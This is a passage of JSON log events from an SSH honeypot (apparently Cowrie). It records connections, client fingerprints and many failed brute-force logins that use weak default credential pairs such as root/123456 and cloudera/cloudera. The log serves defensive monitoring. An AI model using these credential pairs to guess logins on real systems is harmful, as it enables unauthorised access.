c-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:04.304836Z","src_ip":"141.11.88.14","session":"841fdab7be85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N85t4a0CQR","message":"login attempt [root/N85t4a0CQR] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:04.734601Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kelvin","password":"kelvin","message":"login attempt [kelvin/kelvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:05.114154Z","src_ip":"141.11.88.14","session":"841fdab7be85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:05.950725Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:06.327818Z","src_ip":"141.11.88.14","session":"841fdab7be85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:07.162149Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:08.374464Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:09.591124Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:10.803164Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39446,"dst_ip":"10.17.0.5","dst_port":22,"session":"72b765a45b7a","protocol":"ssh","message":"New connection: 141.11.88.14:39446 (10.17.0.5:22) [session: 72b765a45b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:11.351180Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:12.016022Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:12.225813Z","src_ip":"141.11.88.14","session":"72b765a45b7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:12.229023Z","src_ip":"141.11.88.14","session":"72b765a45b7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Aa123456","message":"login attempt [test/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:13.230122Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234","message":"login attempt [root/Root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:13.241149Z","src_ip":"141.11.88.14","session":"72b765a45b7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:14.441264Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:14.462388Z","src_ip":"141.11.88.14","session":"72b765a45b7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"12345678","message":"login attempt [dev/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:15.668011Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Aa123456","message":"login attempt [dev/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:16.879116Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:18.090287Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:19.303385Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33776,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5a8bf67d0b6","protocol":"ssh","message":"New connection: 141.11.88.14:33776 (10.17.0.5:22) [session: c5a8bf67d0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:19.648819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:19.717669Z","src_ip":"141.11.88.14","session":"c5a8bf67d0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:19.801767Z","src_ip":"141.11.88.14","session":"c5a8bf67d0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:20.512931Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logs","password":"logs","message":"login attempt [logs/logs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:20.529639Z","src_ip":"141.11.88.14","session":"c5a8bf67d0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":43942,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc76ddaaad84","protocol":"ssh","message":"New connection: 197.5.145.150:43942 (10.17.0.5:22) [session: bc76ddaaad84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:21.569292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:21.575046Z","src_ip":"197.5.145.150","session":"bc76ddaaad84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:21.705752Z","src_ip":"197.5.145.150","session":"bc76ddaaad84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:21.724087Z","src_ip":"47.239.171.118","session":"b134bece3e57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:21.851927Z","src_ip":"141.11.88.14","session":"c5a8bf67d0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#2025","message":"login attempt [root/Admin#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:22.218323Z","src_ip":"197.5.145.150","session":"bc76ddaaad84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:23.343709Z","src_ip":"197.5.145.150","session":"bc76ddaaad84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33796,"dst_ip":"10.17.0.5","dst_port":22,"session":"1280433490fc","protocol":"ssh","message":"New connection: 141.11.88.14:33796 (10.17.0.5:22) [session: 1280433490fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:27.044684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:27.120846Z","src_ip":"141.11.88.14","session":"1280433490fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:27.230037Z","src_ip":"141.11.88.14","session":"1280433490fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:27.916311Z","src_ip":"141.11.88.14","session":"1280433490fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:29.139024Z","src_ip":"141.11.88.14","session":"1280433490fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25338,"dst_ip":"10.17.0.5","dst_port":22,"session":"208373172267","protocol":"ssh","message":"New connection: 141.11.88.14:25338 (10.17.0.5:22) [session: 208373172267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:31.853412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:32.312838Z","src_ip":"141.11.88.14","session":"208373172267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:32.315851Z","src_ip":"141.11.88.14","session":"208373172267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"password","message":"login attempt [kafka/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:33.500939Z","src_ip":"141.11.88.14","session":"208373172267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:34.726985Z","src_ip":"141.11.88.14","session":"208373172267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":55500,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea57477c1e2","protocol":"ssh","message":"New connection: 141.11.88.14:55500 (10.17.0.5:22) [session: 4ea57477c1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:38.440337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:38.840799Z","src_ip":"141.11.88.14","session":"4ea57477c1e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:38.844120Z","src_ip":"141.11.88.14","session":"4ea57477c1e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloudera","password":"cloudera","message":"login attempt [cloudera/cloudera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:39.920712Z","src_ip":"141.11.88.14","session":"4ea57477c1e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:41.200109Z","src_ip":"141.11.88.14","session":"4ea57477c1e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":33588,"dst_ip":"10.17.0.5","dst_port":22,"session":"9136e69545e2","protocol":"ssh","message":"New connection: 37.233.85.71:33588 (10.17.0.5:22) [session: 9136e69545e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:44.389477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:44.394444Z","src_ip":"37.233.85.71","session":"9136e69545e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:44.506740Z","src_ip":"37.233.85.71","session":"9136e69545e2","protocol":"ssh"}
